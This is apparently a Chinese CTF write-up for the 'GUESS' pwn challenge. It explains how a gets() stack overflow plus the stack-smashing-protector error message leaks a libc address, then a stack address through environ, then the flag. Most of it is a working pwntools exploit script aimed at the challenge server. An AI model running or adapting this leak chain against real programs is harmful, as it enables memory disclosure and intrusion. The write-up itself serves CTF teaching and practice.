[Pwn] GUESS - Cpt.shao xp0int Posted on Aug 25 2018 题目存在一个明显的gets函数,导致我们可以不限长度地在栈上面溢出。因为程序还提供了一个fork的机制,可以让我们重复运行程序三次。 第一反应就是爆破canary,但是gets函数会为每次的输入都强制加上`\n`,搜索canary相关的文章可以发现还有一种做法是可以直接leak出某个指针指向的字符串: http://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/ 就是以上链接的第三种技巧。 而这里我提供了三次机会给我们泄露,我们需要的flag内容已经存放在了栈上面,也就是我们需要通过前两次泄露的机会去bypass aslr找到栈上存放flag字符串的地址。 1. 通过got的地址来泄露出libc函数的地址,并且计算出libc基地址 2. libc上面有一个叫做`environ`的变量保存着一个栈上面的地址,参考链接https://github.com/Naetw/CTF-pwn-tips#leak-stack-address,我们可以获得一个栈地址。 3. 通过栈地址计算偏移获得flag字符串地址,作出最后一次泄露即可。 exp.py ```python from pwn import * context.log_level = 'debug' # p = process('./GUESS') p = remote('106.75.90.160', 9999) elf = ELF('./GUESS') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p.recvuntil('flag\n') p.sendline(cyclic(0x40) + p64(elf.got['puts'])*40) p.recvuntil('***: ') leak_1 = u64(p.recv(6) + '\x00\x00') p.info('leak: %x' % leak_1) libc_start = leak_1 - libc.symbols['puts'] environ = libc_start + 0x3c6f38 p.info('environ: %x' % environ) p.recvuntil('flag\n') p.sendline(cyclic(0x40) + (8*29)*'a' + p64(environ)) p.recvuntil('***: ') stack_base = u64(p.recv(6) + '\x00\x00') p.info('stack_base: %x' % stack_base) flag_addr = stack_base + 0x168 - 0x2d0 p.recvuntil('flag\n') p.sendline(cyclic(0x40) + (8*29)*'a' + p64(flag_addr)) p.recvuntil('***: ') flag = p.recvuntil('}') p.info('flag: %s' % flag) p.interactive() ```  打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Rev]beijing-MF [Rev]advanced-sherlly
没有帐号? 立即注册